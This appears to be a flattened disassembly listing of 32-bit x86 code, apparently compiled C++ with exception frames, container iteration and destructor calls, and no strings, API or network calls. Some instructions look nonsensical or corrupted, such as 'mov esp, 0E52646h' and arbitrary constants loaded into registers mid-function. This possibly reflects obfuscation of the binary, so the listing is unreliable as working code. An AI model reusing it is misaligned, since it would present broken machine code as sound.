sub_4017A8 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_4017A8 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_4017A8 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_4017D0 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412FA0 proc near ; CODE XREF: sub_4014CEj add ecx, 6Ch jmp sub_401B45 sub_412FA0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412FC0 proc near ; CODE XREF: sub_40132Fj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch arg_30 = byte ptr 34h arg_48 = byte ptr 4Ch push 0FFFFFFFFh push 26DD08h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_43034A add esp, 4 mov [esp+18h+var_10], eax test eax, eax mov byte ptr [esp+18h+var_4], 4 jz short loc_413003 mov ecx, eax call sub_401AE1 jmp short loc_413005 ; --------------------------------------------------------------------------- loc_413003: ; CODE XREF: sub_412FC0+38j xor eax, eax loc_413005: ; CODE XREF: sub_412FC0+41j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 3 push ecx mov ecx, eax mov [esp+1Ch+var_14], eax call sub_401EAB mov eax, [esp+18h+var_14] lea edx, [esp+18h+arg_18] push edx lea ecx, [eax+15h] call sub_401EAB mov edx, [esp+18h+var_14] lea ecx, [esp+18h+arg_30] push ecx lea ecx, [edx+2Ah] call sub_401EAB mov ecx, [esp+18h+var_14] lea eax, [esp+18h+arg_48] push eax add ecx, 3Fh call sub_401EAB lea edx, [esp+18h+var_14] lea ecx, [esi+60h] push edx call sub_401DB6 lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 2 call sub_4011F9 lea ecx, [esp+18h+arg_18] mov byte ptr [esp+18h+var_4], 1 call sub_4011F9 lea ecx, [esp+18h+arg_30] mov byte ptr [esp+18h+var_4], 0 call sub_4011F9 lea ecx, [esp+18h+arg_48] mov [esp+18h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+18h+var_C] pop esi mov large fs:0, ecx add esp, 14h retn 60h sub_412FC0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4130F0 proc near ; CODE XREF: sub_401AE1j var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 536E84h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4013CF lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_4013CF lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_4013CF lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_4013CF lea eax, [esp+7] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_4012E9 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn sub_4130F0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_413190: ; CODE XREF: _294ADE7B:004010E1j push 0FFFFFFFFh push 29B742h mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_4017A8 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_4017A8 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_4017A8 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_4017A8 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40132F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413260 proc near ; CODE XREF: sub_401C80j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push 54DBA1h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401CE9 mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012B2 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401C62 push eax lea ecx, [esp+1Ch+var_14] call sub_401C35 test al, al jz short loc_413310 loc_4132C5: ; CODE XREF: sub_413260+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401E51 mov ecx, [eax] call sub_401A7D test eax, eax jnz short loc_4132ED lea ecx, [esp+18h+var_14] call sub_401E51 mov edx, [eax] mov [esp+18h+var_10], edx loc_4132ED: ; CODE XREF: sub_413260+7Cj lea ecx, [esp+18h+var_14] call sub_401F2D lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401C62 push eax lea ecx, [esp+1Ch+var_14] call sub_401C35 test al, al jnz short loc_4132C5 loc_413310: ; CODE XREF: sub_413260+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_413358 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40122B mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_413333 push 1 call sub_401906 loc_413333: ; CODE XREF: sub_413260+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_413358: ; CODE XREF: sub_413260+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_413260 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4133D0 proc near ; CODE XREF: sub_401906j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402086 test [esp+4+arg_0], 1 jz short loc_4133E8 push esi call sub_430332 add esp, 4 loc_4133E8: ; CODE XREF: sub_4133D0+Dj mov eax, esi pop esi retn 4 sub_4133D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_413400 proc near ; CODE XREF: sub_402086j jmp sub_4011F9 sub_413400 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413420: ; CODE XREF: _294ADE7B:00401244j push 0FFFFFFFFh push 2A6DD0h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push 5536E8h lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_401622 push 2A9B74h mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012B7 lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_4011F9 cmp edi, ebx jz short loc_4134E9 loc_413483: ; CODE XREF: _294ADE7B:004134E7j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push 154DBAh push esi push edx call sub_401622 mov ecx, ebp call sub_401C80 cmp al, bl jnz short loc_4134B0 mov [esp+13h], bl loc_4134B0: ; CODE XREF: _294ADE7B:004134AAj inc esi push offset byte_4AA6DD lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_401622 push 65536Eh mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012B7 lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_4011F9 cmp edi, ebx jnz short loc_413483 loc_4134E9: ; CODE XREF: _294ADE7B:00413481j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413560 proc near ; CODE XREF: sub_401F87j var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push 32A9B7h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_401726 test eax, eax jz loc_413694 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_4020B3 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_40181B mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40112C push eax lea ecx, [esp+20h+var_18] call sub_4012F8 test al, al jz short loc_41363E loc_4135D4: ; CODE XREF: sub_413560+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_401311 mov ecx, [eax] add ecx, 4 call sub_401A7D test eax, eax jz short loc_41360C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_401311 mov ecx, [eax] add ecx, 19h call sub_401A7D test eax, eax jnz short loc_41361B loc_41360C: ; CODE XREF: sub_413560+8Ej lea ecx, [esp+1Ch+var_18] call sub_401311 mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41361B: ; CODE XREF: sub_413560+AAj lea ecx, [esp+1Ch+var_18] call sub_401168 lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40112C push eax lea ecx, [esp+20h+var_18] call sub_4012F8 test al, al jnz short loc_4135D4 loc_41363E: ; CODE XREF: sub_413560+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_413694 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_401FA5 mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_413661 push 1 call sub_401668 loc_413661: ; CODE XREF: sub_413560+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_4011F9 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_4011F9 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_413694: ; CODE XREF: sub_413560+2Ej ; sub_413560+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_4011F9 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_413560 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413730 proc near ; CODE XREF: sub_401668j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401979 test [esp+4+arg_0], 1 jz short loc_413748 push esi call sub_430332 add esp, 4 loc_413748: ; CODE XREF: sub_413730+Dj mov eax, esi pop esi retn 4 sub_413730 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413760 proc near ; CODE XREF: sub_401979j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 1954DBh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_4011F9 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_4011F9 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_4011F9 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_413760 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4137F0: ; CODE XREF: _294ADE7B:00401352j push 0FFFFFFFFh push 4CAA6Dh mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_4017A8 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_4017A8 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_401F87 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_413880: ; CODE XREF: _294ADE7B:00401A3Cj push 0FFFFFFFFh push 665536h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_401726 test eax, eax jz loc_413987 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401032 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_4018AC mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402095 push eax lea ecx, [esp+8] call sub_4019F6 test al, al jz short loc_41393F loc_4138F4: ; CODE XREF: _294ADE7B:0041393Dj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011A9 mov ecx, [eax] call sub_401A7D test eax, eax jnz short loc_41391C lea ecx, [esp+4] call sub_4011A9 mov ecx, [eax] mov [esp+8], ecx loc_41391C: ; CODE XREF: _294ADE7B:0041390Bj lea ecx, [esp+4] call sub_4017E9 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402095 push eax lea ecx, [esp+8] call sub_4019F6 test al, al jnz short loc_4138F4 loc_41393F: ; CODE XREF: _294ADE7B:004138F2j mov eax, [esp+8] test eax, eax jz short loc_413987 lea eax, [esp+8] mov ecx, esi push eax call sub_401136 mov ecx, [esp+8] test ecx, ecx jz short loc_413962 push 1 call sub_40119F loc_413962: ; CODE XREF: _294ADE7B:00413959j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_4011F9 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_413987: ; CODE XREF: _294ADE7B:004138AEj ; _294ADE7B:00413945j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413A00 proc near ; CODE XREF: sub_40119Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A50 test [esp+4+arg_0], 1 jz short loc_413A18 push esi call sub_430332 add esp, 4 loc_413A18: ; CODE XREF: sub_413A00+Dj mov eax, esi pop esi retn 4 sub_413A00 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413A30 proc near ; CODE XREF: sub_401A50j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 332A9Bh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_40150A lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_4011F9 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_4011F9 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_4011F9 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_413A30 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413AD0 proc near ; CODE XREF: sub_401465j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 19954Dh push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_413BCB sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_40146F sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push 0CCAA6h call sub_4017A8 or ebx, 0FFFFFFFFh mov ebp, 22332Ah mov [esp+88h+var_4], ebx call sub_401F87 test al, al jz loc_413D00 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4018DE add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_401479 push eax mov ecx, edi call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ebp, 832332h call sub_4010FF lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_4011F9 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_413BCB: ; CODE XREF: sub_413AD0+36j lea ecx, [edi+4] call sub_401479 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_413D00 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_40146F sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_40146F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_40146F sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset byte_499199 push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011C2 sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push 24C8CCh push 1 push ecx mov ecx, esi call sub_4011C2 or ebx, 0FFFFFFFFh mov esp, 0E52646h mov [esp+0D0h+var_4], ebx call sub_4017D0 test al, al jz short loc_413D00 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4018DE add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_401479 push eax mov ecx, edi call sub_401479 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov edx, 4F9499h call sub_4010FF lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_4011F9 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_413D00: ; CODE XREF: sub_413AD0+82j ; sub_413AD0+10Dj ... mov ecx, [esp+58h+var_C] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_413AD0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413DC0 proc near ; CODE XREF: sub_4012E9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401D7F mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_413DC0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E00 proc near ; CODE XREF: sub_401681j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call sub_401D7F lea ecx, [esp+10h+arg_0] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_40163B mov edx, [eax] lea eax, [esp+10h+var_8] push edx push eax mov ecx, edi call sub_40111D mov ecx, [eax] lea edx, [esp+14h+var_4] push ecx push edx mov ecx, esi call sub_4012B2 mov eax, [eax] mov ecx, esi push eax call sub_401690 mov eax, esi pop edi pop esi add esp, 8 retn 4 sub_413E00 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E80 proc near ; CODE XREF: sub_40150Aj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C62 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4012B2 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401410 mov edx, [esi+4] mov ecx, esi push edx call sub_401BB3 xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_413E80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413EF0 proc near ; CODE XREF: sub_4012B2j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401F14 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401C7B mov eax, esi pop esi retn 4 sub_413EF0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413F30 proc near ; CODE XREF: sub_401C62j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401C7B mov eax, esi pop esi retn 4 sub_413F30 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413F60 proc near ; CODE XREF: sub_401429j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C62 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401FD2 pop esi pop ecx retn 4 sub_413F60 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413FA0 proc near ; CODE XREF: sub_40122Bj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 0Ch lea eax, [esp+0Ch+var_8] push esi mov esi, ecx push eax call sub_401C62 lea ecx, [esp+10h+var_C] push ecx mov ecx, esi call sub_4012B2 lea edx, [esp+10h+var_8] lea ecx, [esp+10h+var_C] push edx call sub_401C35 test al, al jz short loc_414021 push edi mov edi, [esp+14h+arg_0] loc_413FD3: ; CODE XREF: sub_413FA0+7Ej lea ecx, [esp+14h+var_C] call sub_401E51 mov eax, [eax] mov ecx, [edi] cmp eax, ecx jnz short loc_414005 lea ecx, [esp+14h+arg_0] push 0 push ecx lea ecx, [esp+1Ch+var_C] call sub_401505 mov edx, [eax] lea eax, [esp+14h+var_4] push edx push eax mov ecx, esi call sub_401E56 jmp short loc_41400E ; --------------------------------------------------------------------------- loc_414005: ; CODE XREF: sub_413FA0+42j lea ecx, [esp+14h+var_C] call sub_401F2D loc_41400E: ; CODE XREF: sub_413FA0+63j lea ecx, [esp+14h+var_8] push ecx lea ecx, [esp+18h+var_C] call sub_401C35 test al, al jnz short loc_413FD3 pop edi loc_414021: ; CODE XREF: sub_413FA0+2Cj pop esi add esp, 0Ch retn 4 sub_413FA0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414060 proc near ; CODE XREF: sub_401CE9j push esi mov esi, ecx call sub_401D7A mov eax, esi pop esi retn sub_414060 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414080 proc near ; CODE XREF: sub_401E51j mov eax, [ecx] push eax call sub_401DC0 add esp, 4 retn sub_414080 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4140A0 proc near ; CODE XREF: sub_401F2Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_401F14 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_4140A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4140D0 proc near ; CODE XREF: sub_401C35j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40155A neg al sbb eax, eax inc eax retn 4 sub_4140D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414100 proc near ; CODE XREF: sub_401DCAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401B5E mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_414100 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414140 proc near ; CODE XREF: sub_401195j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402095 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4018AC mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4012EE mov edx, [esi+4] mov ecx, esi push edx call sub_401CE4 xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_414140 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4141B0 proc near ; CODE XREF: sub_4018ACj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40121C mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401BA4 mov eax, esi pop esi retn 4 sub_4141B0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4141F0 proc near ; CODE XREF: sub_402095j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401BA4 mov eax, esi pop esi retn 4 sub_4141F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414220 proc near ; CODE XREF: sub_401DB6j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_402095 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4019B5 pop esi pop ecx retn 4 sub_414220 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414260 proc near ; CODE XREF: sub_40184Dj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_402095 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4018AC mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4012EE pop esi add esp, 0Ch retn sub_414260 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) 